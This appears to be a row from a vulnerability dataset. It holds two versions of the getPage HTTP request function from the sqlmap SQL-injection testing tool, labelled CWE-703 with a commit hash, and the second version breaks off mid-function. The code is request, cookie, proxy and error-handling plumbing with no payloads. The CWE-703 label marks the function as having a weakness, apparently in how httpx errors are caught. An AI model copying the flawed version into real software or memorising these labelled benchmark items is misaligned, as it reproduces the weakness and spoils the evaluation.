                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                if conf.http2:
                    try:
                        import httpx
                    except ImportError:
                        raise SqlmapMissingDependence(""httpx[http2] not available (e.g. 'pip%s install httpx[http2]')"" % ('3' if six.PY3 else """"))

                    try:
                        proxy_mounts = dict((""%s://"" % key, httpx.HTTPTransport(proxy=""%s%s"" % (""http://"" if not ""://"" in kb.proxies[key] else """", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
                        with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
                            conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
                    except httpx.ConnectError as ex:
                        raise _http_client.HTTPException(getSafeExString(ex))
                    else:
                        conn.code = conn.status_code
                        conn.msg = conn.reason_phrase
                        conn.info = lambda c=conn: c.headers

                        conn._read_buffer = conn.read()
                        conn._read_offset = 0

                        requestMsg = re.sub("" HTTP/[0-9.]+\r\n"", "" %s\r\n"" % conn.http_version, requestMsg, count=1)

                        if not multipart:
                            threadData.lastRequestMsg = requestMsg

                            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                        def _read(count=None):
                            offset = conn._read_offset
                            if count is None:
                                result = conn._read_buffer[offset:]
                                conn._read_offset = len(conn._read_buffer)
                            else:
                                result = conn._read_buffer[offset: offset + count]
                                conn._read_offset += len(result)
                            return result

                        conn.read = _read
                else:
                    if not multipart:
                        threadData.lastRequestMsg = requestMsg

                        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                    conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn, ""fp"") and hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,d058cc820de9a83250934abe673d9b982bf3f52d,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        start = time.time()

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                if conf.http2:
                    try:
                        import httpx
                        with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj) as client:
                            conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
                    except ImportError:
                        raise SqlmapMissingDependence(""httpx[http2] not available (e.g. 'pip%s install httpx[http2]')"" % ('3' if six.PY3 else """"))
                    else:
                        conn.code = conn.status_code
                        conn.msg = conn.reason_phrase
                        conn.info = lambda c=conn: c.headers

                        conn._read_buffer = conn.read()
                        conn._read_offset = 0

                        requestMsg = re.sub("" HTTP/[0-9.]+\r\n"", "" %s\r\n"" % conn.http_version, requestMsg, count=1)

                        if not multipart:
